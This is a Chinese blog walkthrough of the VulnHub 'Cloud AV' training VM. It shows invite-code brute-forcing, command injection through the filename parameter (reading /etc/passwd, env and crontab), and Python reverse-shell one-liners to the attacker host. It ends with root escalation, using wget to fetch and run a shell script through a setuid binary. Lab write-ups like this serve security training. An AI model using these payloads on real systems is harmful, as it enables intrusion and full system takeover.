[vulnhub] BoredHackerBlog: Cloud AV

释放双眼,带上耳机,听听看~!

0x1 环境介绍

第一次打 vulnhub 环境下载,看到了困难度为 Easy 就下载了 ,涉及到的知识点:端口扫描、web攻击、SQL注入、命令执行、枚举爆破、代码分析。

1760424765

4047763140

跑起来之后网络配置-桥接模式(DHCP服务环境默认开启的会自动分配IP地址)

201858063

靶机环境配置完成。

然后在攻击机Windows 7(个人PC)进行主机发现,并进行端口扫描。

1740925991

当前网络环境介绍:

攻击机物理机:

macbook IP address:192.168.0.9

攻击机虚拟机(桥接模式):

windows 7 IP address:192.168.0.123

漏洞机虚拟机(桥接模式):

Linux IP address:192.168.0.89

开启的端口:22(ssh),8080(web service)

0x2 攻击路线

浏览器打开 192.168.0.89:8080 链接。

2287984757

burpsuite 直接爆破一把梭。
Tips: 修改 burpsuite 代理监听器为 127.0.0.1:8081 并将浏览器代理修改为 127.0.0.1:8081 不然端口冲突。

664437200

输入邀请码 “password”,跳转如下界面,功能是扫描文件并输出文件得一些信息以此来判断是否为病毒文件。

1568551782

2931073598

发现可以直接拼接命令导致命令执行。

3261059323

2725798136

查看了正在运行哪些进程服务。

3626392438

执行 ls | cat /home/scanner/cloudav_app/app.py 查看代码,发现邀请码登陆点存在SQL注入,filename 参数直接拼接导致命令执行。

3707481160

收集了下当前靶机虚拟机的环境:

1. 查看当前权限

filename=ls|whoami
HTTP

回显:

scanner
Bash

2. 查看计划任务

filename=ls|crontab -l
HTTP

回显:

# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
@reboot cd /home/scanner/cloudav_app && /usr/bin/python app.py
Bash

3. 查看当前用户权限

filename=ls|id
HTTP

回显:

uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)
Bash

4. 查看当前系统用户

filename=ls|cat /etc/passwd  
HTTP

回显:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
cloudav:x:1000:1000:cloudav:/home/cloudav:/bin/bash
scanner:x:1001:1001:scanner,,,:/home/scanner:/bin/bash
clamav:x:111:113::/var/lib/clamav:/bin/false
Bash

5. 查看机器端口

filename=ls|netstat -ano
HTTP

回显:

22、8080
Bash

6. 查看系统环境变量

filename=ls|env
HTTP

回显:

HOME=/home/scanner
WERKZEUG_SERVER_FD=4
LOGNAME=scanner
WERKZEUG_RUN_MAIN=true
PATH=/usr/bin:/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/home/scanner/cloudav_app
Bash

7. 查看当前所在路径

filename=ls|pwd
HTTP

回显:

/home/scanner/cloudav_app
Bash

0x3 获取交互 SHELL

太繁琐了,干脆直接弹了个shell,执行如下操作来获取一个交互的shell。
Macbook 攻击机进行端口监听:

Mac-PpBiBo $ nc -lv 4445
Bash

Linux 靶机执行:

filename=ls|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.9",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Python

3794552231

3889610813

查看 update_cloudav 源代码

cat update_cloudav
Bash

返回

#inclued <stdio.h>

int main(int argc,char *argv[])
{
char *freshclam="/usr/bin/freshclam";

if (argc < 2){
printf("This tool lets you update antivirus rulesnPlease supply command line arguments for freshclamn");
return 1;
}

char * command = malloc(strlen(freshclam) + strlen(strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;

}
C

发现在 /home/scanner下存在一个update_clouav 可执行文件 并且运行权限为 root 。
查看 update_clouav.c 源代码发现,有一些组id和用户id设置为0,以root权限执行命令。

首先,在 sh 文件中创建了另一个python反向shell,并将其命名为x.sh

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.9",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Python

77189333

执行如下命令落地反弹shell文件到 linux 靶机,并给予执行的权限。

wget http://192.168.0.123/x.sh
chmod +x x.sh
./update_cloudav "hello|bash x.sh"
Bash

676889874

获取 root 权限,删除靶机。(没内存了…)

企业安全安全独秀圈系统安全终端安全质量好文

内网信息收集篇-*60面试用到的内容

2020-4-27 11:38:39

WEB安全安全独秀圈

vulnhub-Infosec_Warrior1

2020-4-28 21:41:09

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索